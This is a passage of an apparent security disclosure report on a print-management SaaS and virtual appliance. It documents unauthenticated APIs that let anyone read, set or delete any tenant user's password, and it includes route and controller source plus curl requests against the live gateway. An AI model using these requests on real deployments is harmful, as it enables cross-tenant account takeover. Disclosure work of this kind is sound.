<span style="color: #BA2121; font-style: italic"> */</span>
<span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">DeviceController</span>
{
    <span style="color: #008000; font-weight: bold">use</span> ApiResponse;

    <span style="color: #008000; font-weight: bold">const</span> <span style="color: #880000">INVALID_DEVICE_ERROR</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;INVALID-DEVICE&#39;</span>;

    <span style="color: #008000; font-weight: bold">private</span> <span style="color: #19177C">$service</span>;

    <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">     * DeviceController constructor</span>
<span style="color: #BA2121; font-style: italic">     *</span>
<span style="color: #BA2121; font-style: italic">     * @param DeviceService $deviceService DeviceService object</span>
<span style="color: #BA2121; font-style: italic">     *</span>
<span style="color: #BA2121; font-style: italic">     * @return void</span>
<span style="color: #BA2121; font-style: italic">     */</span>
    <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">__construct</span>(DeviceService <span style="color: #19177C">$deviceService</span>)
    {
        <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">service</span> <span style="color: #666666">=</span> <span style="color: #19177C">$deviceService</span>;
    }

    <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">     * Return all devices</span>
<span style="color: #BA2121; font-style: italic">     *</span>
<span style="color: #BA2121; font-style: italic">     * @return array</span>
<span style="color: #BA2121; font-style: italic">     */</span>
    <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">index</span>()<span style="color: #666666">:</span> <span style="color: #008000; font-weight: bold">array</span>
    {
        <span style="color: #19177C">$devices</span> <span style="color: #666666">=</span> Device<span style="color: #666666">::</span><span style="color: #7D9029">all</span>();

        <span style="color: #008000; font-weight: bold">return</span> fractal()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">create</span>()
                <span style="color: #666666">-&gt;</span><span style="color: #7D9029">collection</span>(<span style="color: #19177C">$devices</span>)
                <span style="color: #666666">-&gt;</span><span style="color: #7D9029">transformWith</span>(<span style="color: #008000; font-weight: bold">new</span> DeviceTransformer())
                <span style="color: #666666">-&gt;</span><span style="color: #7D9029">withResourceName</span>(<span style="color: #BA2121">&#39;data&#39;</span>)
                <span style="color: #666666">-&gt;</span><span style="color: #7D9029">toArray</span>();
    }

    <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">     * Display the specified resource.</span>
<span style="color: #BA2121; font-style: italic">     *</span>
<span style="color: #BA2121; font-style: italic">     * @param string $id Uuid of device</span>
<span style="color: #BA2121; font-style: italic">     *</span>
<span style="color: #BA2121; font-style: italic">     * @return array|JsonResponse</span>
<span style="color: #BA2121; font-style: italic">     */</span>
    <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">show</span>(<span style="color: #19177C">$id</span>)
    {
        <span style="color: #19177C">$device</span> <span style="color: #666666">=</span> Device<span style="color: #666666">::</span><span style="color: #7D9029">find</span>(<span style="color: #19177C">$id</span>);

        <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #008000; font-weight: bold">empty</span>(<span style="color: #19177C">$device</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">id</span>)) {
            <span style="color: #008000; font-weight: bold">return</span> fractal()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">create</span>()
                <span style="color: #666666">-&gt;</span><span style="color: #7D9029">item</span>(<span style="color: #19177C">$device</span>)
                <span style="color: #666666">-&gt;</span><span style="color: #7D9029">transformWith</span>(<span style="color: #008000; font-weight: bold">new</span> DeviceTransformer())
                <span style="color: #666666">-&gt;</span><span style="color: #7D9029">withResourceName</span>(<span style="color: #BA2121">&#39;data&#39;</span>)
                <span style="color: #666666">-&gt;</span><span style="color: #7D9029">toArray</span>();
        }

        <span style="color: #19177C">$message</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;Unable find record [&#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$id</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&#39;]&#39;</span>;
        <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">errorResponse</span>(<span style="color: #19177C">$message</span>, self<span style="color: #666666">::</span><span style="color: #7D9029">INVALID_DEVICE_ERROR</span>, HttpResponse<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_NOT_FOUND</span>);
    }

    <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">     * Store device data</span>
<span style="color: #BA2121; font-style: italic">     *</span>
<span style="color: #BA2121; font-style: italic">     * @param App\Http\Requests\DeviceRequest $request Incoming HTTP request</span>
<span style="color: #BA2121; font-style: italic">     *</span>
<span style="color: #BA2121; font-style: italic">     * @return array|JsonResponse</span>
<span style="color: #BA2121; font-style: italic">     */</span>
    <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">store</span>(DeviceRequest <span style="color: #19177C">$request</span>)
    {
        <span style="color: #19177C">$siteId</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">header</span>(<span style="color: #BA2121">&#39;X-Site-ID&#39;</span>);
        <span style="color: #19177C">$data</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;data&#39;</span>);

        <span style="color: #19177C">$device</span> <span style="color: #666666">=</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">service</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">create</span>(<span style="color: #19177C">$siteId</span>, <span style="color: #19177C">$data</span>);

        <span style="color: #19177C">$response</span> <span style="color: #666666">=</span> fractal()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">create</span>()
            <span style="color: #666666">-&gt;</span><span style="color: #7D9029">item</span>(<span style="color: #19177C">$device</span>)
            <span style="color: #666666">-&gt;</span><span style="color: #7D9029">transformWith</span>(<span style="color: #008000; font-weight: bold">new</span> DeviceTransformer())
            <span style="color: #666666">-&gt;</span><span style="color: #7D9029">withResourceName</span>(<span style="color: #BA2121">&#39;data&#39;</span>)
            <span style="color: #666666">-&gt;</span><span style="color: #7D9029">toArray</span>();

        <span style="color: #008000; font-weight: bold">return</span> response()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">json</span>(<span style="color: #19177C">$response</span>, HttpResponse<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_CREATED</span>);
    }

    <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">     * Update device data</span>
<span style="color: #BA2121; font-style: italic">     *</span>
<span style="color: #BA2121; font-style: italic">     * @param string $id The id of the device to udpate</span>
<span style="color: #BA2121; font-style: italic">     * @param App\Http\Requests\DeviceRequest $request Incoming HTTP request</span>
<span style="color: #BA2121; font-style: italic">     *</span>
<span style="color: #BA2121; font-style: italic">     * @return array|JsonResponse</span>
<span style="color: #BA2121; font-style: italic">     */</span>
    <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">update</span>(string <span style="color: #19177C">$id</span>, DeviceRequest <span style="color: #19177C">$request</span>)
    {
        <span style="color: #19177C">$siteId</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">header</span>(<span style="color: #BA2121">&#39;X-Site-ID&#39;</span>);
        <span style="color: #19177C">$data</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;data&#39;</span>);

        <span style="color: #19177C">$updatedDevice</span> <span style="color: #666666">=</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">service</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">update</span>(<span style="color: #19177C">$id</span>, <span style="color: #19177C">$siteId</span>, <span style="color: #19177C">$data</span>);

        <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$updatedDevice</span> <span style="color: #666666">!==</span> <span style="color: #008000; font-weight: bold">null</span>) {
            <span style="color: #008000; font-weight: bold">return</span> fractal()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">create</span>()
                <span style="color: #666666">-&gt;</span><span style="color: #7D9029">item</span>(<span style="color: #19177C">$updatedDevice</span>)
                <span style="color: #666666">-&gt;</span><span style="color: #7D9029">transformWith</span>(<span style="color: #008000; font-weight: bold">new</span> DeviceTransformer())
                <span style="color: #666666">-&gt;</span><span style="color: #7D9029">withResourceName</span>(<span style="color: #BA2121">&#39;data&#39;</span>)
                <span style="color: #666666">-&gt;</span><span style="color: #7D9029">toArray</span>();
        }
        <span style="color: #19177C">$message</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;Unable find existing record [</span><span style="color: #BB6688; font-weight: bold">$id</span><span style="color: #BA2121">] to update&quot;</span>;
        <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">errorResponse</span>(<span style="color: #19177C">$message</span>, self<span style="color: #666666">::</span><span style="color: #7D9029">INVALID_DEVICE_ERROR</span>, HttpResponse<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_NOT_FOUND</span>);
    }

    <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">     * Delete device data and its associated attributes</span>
<span style="color: #BA2121; font-style: italic">     *</span>
<span style="color: #BA2121; font-style: italic">     * @param string $id Uuid of device to be deleted</span>
<span style="color: #BA2121; font-style: italic">     *</span>
<span style="color: #BA2121; font-style: italic">     * @return JsonResponse</span>
<span style="color: #BA2121; font-style: italic">     */</span>
    <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">destroy</span>(string <span style="color: #19177C">$id</span>)
    {
        <span style="color: #008000; font-weight: bold">try</span> {
            <span style="color: #19177C">$device</span> <span style="color: #666666">=</span> Device<span style="color: #666666">::</span><span style="color: #7D9029">find</span>(<span style="color: #19177C">$id</span>);

            <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$device</span> <span style="color: #666666">===</span> <span style="color: #008000; font-weight: bold">null</span>) {
                <span style="color: #19177C">$message</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;Device [</span><span style="color: #BB6688; font-weight: bold">$id</span><span style="color: #BA2121">] was not found&quot;</span>;
                <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">errorResponse</span>(<span style="color: #19177C">$message</span>, self<span style="color: #666666">::</span><span style="color: #7D9029">INVALID_DEVICE_ERROR</span>, HttpResponse<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_NOT_FOUND</span>);
            }
            <span style="color: #19177C">$device</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">delete</span>();
            DeviceAttribute<span style="color: #666666">::</span><span style="color: #7D9029">where</span>(<span style="color: #BA2121">&#39;device_id&#39;</span>, <span style="color: #19177C">$id</span>)<span style="color: #666666">-&gt;</span><span style="color: #7D9029">delete</span>();

            <span style="color: #008000; font-weight: bold">return</span> response()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">json</span>(<span style="color: #BA2121">&#39;&#39;</span>, HttpResponse<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_NO_CONTENT</span>);
        } <span style="color: #008000; font-weight: bold">catch</span> (QueryException <span style="color: #19177C">$qe</span>) {
            <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">errorResponse</span>(<span style="color: #19177C">$qe</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getMessage</span>());
        }
    }
}
</pre></div>

<p>A tenant can retrieve passwords for other tenants and compromise their infrastructure.</p>
<p>A tenant can edit the settings of other tenants.</p>
<p><a id="saas-cross-tenant-take-over"></a></p>
<h2>Details - Take over of tenants without authentication</h2>
<p>It was observed that the <code>authn</code> Docker instance is exposed over the Internet in the SaaS version and over the local network area in the VA version. This instance manages the authentication mechanisms (OIDC, SAML) but also provides several APIs to change users' passwords without authentication.</p>
<p>The <code>authn</code> Docker instance implements APIs for IdP authentication and is not supposed to be directly reachable over the network:</p>
<p><code>Authn</code> instance:</p>
<pre><code>root@printerlogic:/home/debug# docker ps|grep authn
f13ed71bef89   printerlogic/authn:1.16.0                 "/var/www/app/.docke"   3 minutes ago   Up 2 minutes (healthy)   80/tcp, 443/tcp, 9000-9001/tcp                                                    printercloud_authn.1.v4pisby2qagav2tl1uswkdyuu
</code></pre>
<p>Exposing this docker instance without authentication is a security risk as an attacker can edit users for any tenant.</p>
<p>Several routes are exposed to manage the authentication over SAML and OIDC - this seems to be a normal behavior:</p>
<p>Content of <code>/var/www/app/routes/idp.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">17</span> Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;idp/{idp}/saml2/login&#39;</span>, <span style="color: #BA2121">&#39;Idp\Saml2\LoginController&#39;</span>)
 <span style="color: #666666">18</span>     <span style="color: #666666">-&gt;</span><span style="color: #7D9029">name</span>(<span style="color: #BA2121">&#39;idp.saml2.login&#39;</span>);
 <span style="color: #666666">19</span>     
 <span style="color: #666666">20</span> Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;idp/multiple/login&#39;</span>, <span style="color: #BA2121">&#39;Idp\LoginController&#39;</span>)
 <span style="color: #666666">21</span>     <span style="color: #666666">-&gt;</span><span style="color: #7D9029">name</span>(<span style="color: #BA2121">&#39;idp.multiple.login&#39;</span>);
 <span style="color: #666666">22</span> 
 <span style="color: #666666">23</span> Route<span style="color: #666666">::</span><span style="color: #7D9029">post</span>(<span style="color: #BA2121">&#39;idp/{idp}/saml2/acs&#39;</span>, <span style="color: #BA2121">&#39;Idp\Saml2\AssertionConsumerController&#39;</span>)
 <span style="color: #666666">24</span>     <span style="color: #666666">-&gt;</span><span style="color: #7D9029">name</span>(<span style="color: #BA2121">&#39;idp.saml2.acs&#39;</span>);
 <span style="color: #666666">25</span> 
 <span style="color: #666666">26</span> Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;idp/{idp}/saml2/metadata&#39;</span>, <span style="color: #BA2121">&#39;Idp\Saml2\MetadataController&#39;</span>)
 <span style="color: #666666">27</span>     <span style="color: #666666">-&gt;</span><span style="color: #7D9029">name</span>(<span style="color: #BA2121">&#39;idp.saml2.metadata&#39;</span>);
 <span style="color: #666666">28</span> 
 <span style="color: #666666">29</span> Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;idp/{idp}/desktop/assertion&#39;</span>, <span style="color: #BA2121">&#39;Idp\Desktop\AssertionController&#39;</span>)
 <span style="color: #666666">30</span>     <span style="color: #666666">-&gt;</span><span style="color: #7D9029">name</span>(<span style="color: #BA2121">&#39;idp.desktop.assertion&#39;</span>);
 <span style="color: #666666">31</span> 
 <span style="color: #666666">32</span> Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;idp/{idp}/desktop/validation/{username}&#39;</span>, <span style="color: #BA2121">&#39;Idp\Desktop\ValidationController&#39;</span>)
 <span style="color: #666666">33</span>     <span style="color: #666666">-&gt;</span><span style="color: #7D9029">name</span>(<span style="color: #BA2121">&#39;idp.desktop.validation&#39;</span>);
 <span style="color: #666666">34</span> 
 <span style="color: #666666">35</span> Route<span style="color: #666666">::</span><span style="color: #7D9029">post</span>(<span style="color: #BA2121">&#39;idp/{idp}/desktop/validate-token&#39;</span>, <span style="color: #BA2121">&#39;Idp\Desktop\Token\ValidateTokenController&#39;</span>)
 <span style="color: #666666">36</span>     <span style="color: #666666">-&gt;</span><span style="color: #7D9029">name</span>(<span style="color: #BA2121">&#39;idp.desktop.token.validate&#39;</span>);
 <span style="color: #666666">37</span> 
 <span style="color: #666666">38</span> Route<span style="color: #666666">::</span><span style="color: #7D9029">post</span>(<span style="color: #BA2121">&#39;idp/{idp}/desktop/renew-token&#39;</span>, <span style="color: #BA2121">&#39;Idp\Desktop\Token\RenewTokenController&#39;</span>)
 <span style="color: #666666">39</span>     <span style="color: #666666">-&gt;</span><span style="color: #7D9029">name</span>(<span style="color: #BA2121">&#39;idp.desktop.token.renew&#39;</span>);
 <span style="color: #666666">40</span> 
 <span style="color: #666666">41</span> Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(
 <span style="color: #666666">42</span>     <span style="color: #BA2121">&#39;idp/{idp}/oidc/login&#39;</span>,
 <span style="color: #666666">43</span>     [
 <span style="color: #666666">44</span>         <span style="color: #BA2121">&#39;uses&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;Idp\Oidc\LoginController&#39;</span>,
 <span style="color: #666666">45</span>         <span style="color: #BA2121">&#39;middleware&#39;</span> <span style="color: #666666">=&gt;</span> StartSession<span style="color: #666666">::</span><span style="color: #7D9029">class</span>,
 <span style="color: #666666">46</span>         <span style="color: #BA2121">&#39;as&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;idp.oidc.login&#39;</span>
 <span style="color: #666666">47</span>     ]
 <span style="color: #666666">48</span> );
</pre></div>

<p>For example, getting information about SAML2 authentication for the <code>[redacted]</code> instance (the UID corresponding to the instance has been redacted):</p>
<pre><code>kali% curl https://gw.app.printercloud10.com/[instance-name-redacted]/authn/idp/aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa/saml2/metadata
&lt;?xml version="1.0"?&gt;
&lt;md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata"
                     validUntil="2024-01-05T12:44:21Z"
                     cacheDuration="PT604800S"
                     entityID="https://gw.app.printercloud10.com/[instance-name-redacted]/authn/idp/aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa/saml2/metadata"&gt;
    &lt;md:SPSSODescriptor AuthnRequestsSigned="false" WantAssertionsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol"&gt;
        &lt;md:SingleLogoutService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect"
                                Location="https://gw.app.printercloud10.com/[instance-name-redacted]/authn/idp/aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa/saml2sls" /&gt;
        &lt;md:NameIDFormat&gt;urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified&lt;/md:NameIDFormat&gt;
        &lt;md:AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
                                     Location="https://gw.app.printercloud10.com/[instance-name-redacted]/authn/idp/aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa/saml2/acs"
                                     index="1" /&gt;

    &lt;/md:SPSSODescriptor&gt;
    &lt;md:Organization&gt;
       &lt;md:OrganizationName xml:lang="en-US"&gt;Name&lt;/md:OrganizationName&gt;
       &lt;md:OrganizationDisplayName xml:lang="en-US"&gt;Display Name&lt;/md:OrganizationDisplayName&gt;
       &lt;md:OrganizationURL xml:lang="en-US"&gt;http://url&lt;/md:OrganizationURL&gt;
    &lt;/md:Organization&gt;
    &lt;md:ContactPerson contactType="technical"&gt;
        &lt;md:GivenName&gt;name&lt;/md:GivenName&gt;
        &lt;md:EmailAddress&gt;no@reply.com&lt;/md:EmailAddress&gt;
    &lt;/md:ContactPerson&gt;
    &lt;md:ContactPerson contactType="support"&gt;
        &lt;md:GivenName&gt;Support&lt;/md:GivenName&gt;
        &lt;md:EmailAddress&gt;no@reply.com&lt;/md:EmailAddress&gt;
    &lt;/md:ContactPerson&gt;
&lt;/md:EntityDescriptor&gt;
</code></pre>
<p>But other non-public APIs allow an attacker to redefine passwords of users by specifying the target tenant:</p>
<p>Content of <code>/var/www/app/routes/api.php</code> with insecure routes in lines 42 to 47:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">40</span> 
 <span style="color: #666666">41</span> Route<span style="color: #666666">::</span><span style="color: #7D9029">middleware</span>([<span style="color: #BA2121">&#39;auth.key&#39;</span>])<span style="color: #666666">-&gt;</span><span style="color: #7D9029">group</span>(<span style="color: #008000; font-weight: bold">function</span> () {
 <span style="color: #666666">42</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;/password/{userId}/tenant/{tenantId}&#39;</span>, [PasswordController<span style="color: #666666">::</span><span style="color: #7D9029">class</span>, <span style="color: #BA2121">&#39;exists&#39;</span>]);
 <span style="color: #666666">43</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;/password/{userId}/tenant/{tenantId}/updated&#39;</span>, [PasswordController<span style="color: #666666">::</span><span style="color: #7D9029">class</span>, <span style="color: #BA2121">&#39;lastUpdated&#39;</span>]);
 <span style="color: #666666">44</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">post</span>(<span style="color: #BA2121">&#39;/password/{userId}/tenant/{tenantId}&#39;</span>, [PasswordController<span style="color: #666666">::</span><span style="color: #7D9029">class</span>, <span style="color: #BA2121">&#39;verify&#39;</span>]);
 <span style="color: #666666">45</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">post</span>(<span style="color: #BA2121">&#39;/password&#39;</span>, [PasswordController<span style="color: #666666">::</span><span style="color: #7D9029">class</span>, <span style="color: #BA2121">&#39;store&#39;</span>]);
 <span style="color: #666666">46</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">patch</span>(<span style="color: #BA2121">&#39;/password/{user_id}/tenant/{tenant_id}&#39;</span>, [PasswordController<span style="color: #666666">::</span><span style="color: #7D9029">class</span>, <span style="color: #BA2121">&#39;update&#39;</span>]);
 <span style="color: #666666">47</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">delete</span>(<span style="color: #BA2121">&#39;/password/{user_id}/tenant/{tenant_id}&#39;</span>, [PasswordController<span style="color: #666666">::</span><span style="color: #7D9029">class</span>, <span style="color: #BA2121">&#39;destroy&#39;</span>]);
 <span style="color: #666666">48</span> 
[<span style="color: #666666">...</span>]
</pre></div>

<p>These APIs are reachable over the LAN for Printer VA:</p>
<ul>
<li>http://gw.10.105.0.60/app_pi/authn/idp/multiple/login</li>
<li>http://gw.10.105.0.60/app_pi/authn/api/password/[userId]/tenant/[tenantId]/updated</li>
<li>e.g.: http://gw.10.105.0.60/app_pi/authn/api/password/aaaaaaaa-aaaa-aaaaaaaaa-aaaaaaaaaaaa/tenant/9999/updated</li>
</ul>
<p>And from the Internet for the SaaS version:</p>
<ul>
<li>https://gw.app.printercloud10.com/[redacted-instance-name]/authn/idp/multiple/login</li>
<li>https://gw.app.printercloud10.com/[redacted-instance-name]/authn/api/password/[userId]/tenant/[tenantId]/updated</li>
<li>e.g.: https://gw.app.printercloud10.com/[redacted-instance-name]/authn/api/password/aaaaaaaa-aaaa-aaaaaaaaa-aaaaaaaaaaaa/tenant/9999/updated</li>
<li>[...]</li>
</ul>
<p>As we can see, any valid tenant name can be used in the URL and the <code>userID</code> and <code>tenantID</code> are extracted from the URLs (from the <code>/var/www/app/routes/api.php</code> file).</p>
<p>These requests do not require authentication.</p>
<p>HTTP requests to the authn instance through https://gw.app.printercloud10.com/:</p>
<pre>
kali% curl https://gw.app.printercloud10.com/<font color=red>[instance1]</font>/authn/api/password/<font color=red>aaaaaaaa-aaaa-aaaaaaaaa-aaaaaaaaaaaa</font>/tenant/<font color=red>9999</font>/updated
{"success":false,"message":"No password for userId"}
kali% curl https://gw.app.printercloud10.com/<font color=red>[instance2]</font>/authn/api/password/<font color=red>aaaaaaaa-aaaa-aaaaaaaaa-aaaaaaaaaaaa</font>/tenant/<font color=red>9999</font>/updated
{"success":false,"message":"No password for userId"}
</pre>

<p>The <code>user_id</code> and <code>tenantId</code> variables are not a secret and can be extracted from APIs without authentication.</p>
<p>It appears that an attacker can change the password for any user in any tenant.</p>
<p>For this this test, the <code>tenantId</code> and <code>user_id</code> variables were extracted from the unit test file <code>/var/www/app/tests/Integration/App/Http/Controllers/PasswordControllerTest.php</code> to avoid any impact in the SaaS environment:</p>
<p>Change of password for a specific <code>user_id</code> and <code>tenantId</code> (without authentication). This user corresponds to a test account:
<img alt="" src="images/2025-vasion-report-2-cross-tenant-password-change.png" /></p>
<p><a href="images/2025-vasion-report-2-cross-tenant-password-change-full.png">Click here for full image</a></p>
<p>The <code>TenantID</code> variable is located everywhere in the source code of the <code>https://[redacted].printercloud10.com/</code> webpages and in the API answers (without authentication).</p>
<p>For example, without authentication we can retrieve the tenantId value by interrogating the API <code>/api-gateway/identify/search-groups</code>:</p>
<p>Access to <code>/api-gateway/identify/search-groups</code> without authentication:
<img alt="" src="images/2025-vasion-report-2-cross-tenant-tenant_id.png" /></p>
<p><a href="images/2025-vasion-report-2-cross-tenant-tenant_id-full.png">Click here for full image</a></p>
<p>Or the <code>/api-gateway/identities/jobs/1</code> API without authentication.</p>
<p>HTTP request to https://[instance].printercloud10.com/api-gateway/identities/jobs/1:</p>
<pre><code>kali% curl https://[instance].printercloud10.com/api-gateway/identities/jobs/1    
{"identifier":"1","tenantId":"9999","status":"Completed"}
</code></pre>
<p>Or the <code>/api-gateway/identify/search-users</code> - this API can list all the users (id, firstname, lastname, displayname, username, email, domain, siteId, sourceId, sourceService, userAttributes [groups], ...)</p>
<p>Access to <code>/api-gateway/identify/search-users</code> without authentication:
<img alt="" src="images/2025-vasion-report-2-cross-tenant-user_id.png" /></p>
<p>The implementation of these APIs is done in the <code>/var/www/app/app/Http/Controllers/PasswordController.php</code> file, there is no authentication:</p>
<p>Content of <code>/var/www/app/app/Http/Controllers/PasswordController.php</code> with:</p>
<ul>
<li>line 70: information about the password of any user for any tenant without authentication;</li>
<li>line 103: verification of a password of any user for any tenant without authentication;</li>
<li>lines 129 to 142: definition of a new password of any user for any tenant without authentication;</li>
<li>lines 159 to 173: update of a new password of any user for any tenant without authentication;</li>
<li>lines 188 and 189: deletion of the password any user for any tenant without authentication.</li>
</ul>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
  <span style="color: #666666">2</span> 
  <span style="color: #666666">3</span> <span style="color: #008000; font-weight: bold">namespace</span> App\Http\Controllers;
  <span style="color: #666666">4</span> 
  <span style="color: #666666">5</span> <span style="color: #008000; font-weight: bold">use</span> App\Models\Password;
  <span style="color: #666666">6</span> <span style="color: #008000; font-weight: bold">use</span> App\Services\PasswordService;
  <span style="color: #666666">7</span> <span style="color: #008000; font-weight: bold">use</span> Symfony\Component\HttpFoundation\Response;
  <span style="color: #666666">8</span> <span style="color: #008000; font-weight: bold">use</span> Illuminate\Http\Request;
  <span style="color: #666666">9</span> 
 <span style="color: #666666">10</span> <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic"> 11  * Class PasswordController</span>
<span style="color: #BA2121; font-style: italic"> 12  *</span>
<span style="color: #BA2121; font-style: italic"> 13  * @package App\Http\Controllers</span>
<span style="color: #BA2121; font-style: italic"> 14  */</span>
 <span style="color: #666666">15</span> <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">PasswordController</span> <span style="color: #008000; font-weight: bold">extends</span> Controller
 <span style="color: #666666">16</span> {
 <span style="color: #666666">17</span>     <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic"> 18      * An instance of Password Service</span>
<span style="color: #BA2121; font-style: italic"> 19      *</span>
<span style="color: #BA2121; font-style: italic"> 20      * @var PasswordService</span>
<span style="color: #BA2121; font-style: italic"> 21      */</span>
 <span style="color: #666666">22</span>     <span style="color: #008000; font-weight: bold">private</span> <span style="color: #19177C">$passwordService</span>;
 <span style="color: #666666">23</span> 
 <span style="color: #666666">24</span>     <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic"> 25      * Constructor for the PasswordController</span>
<span style="color: #BA2121; font-style: italic"> 26      *</span>
<span style="color: #BA2121; font-style: italic"> 27      * @param passwordService $passwordService service instance</span>
<span style="color: #BA2121; font-style: italic"> 28      */</span>
 <span style="color: #666666">29</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">__construct</span>(PasswordService <span style="color: #19177C">$passwordService</span>)
 <span style="color: #666666">30</span>     {
 <span style="color: #666666">31</span>         <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">passwordService</span> <span style="color: #666666">=</span> <span style="color: #19177C">$passwordService</span>;
 <span style="color: #666666">32</span>     }
 <span style="color: #666666">33</span> 
 <span style="color: #666666">34</span>     <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic"> 35      * Endpoint to verify userid exists in passwords table.</span>
<span style="color: #BA2121; font-style: italic"> 36      *</span>
<span style="color: #BA2121; font-style: italic"> 37      * @param String $userId ID of the user passed from the user service</span>
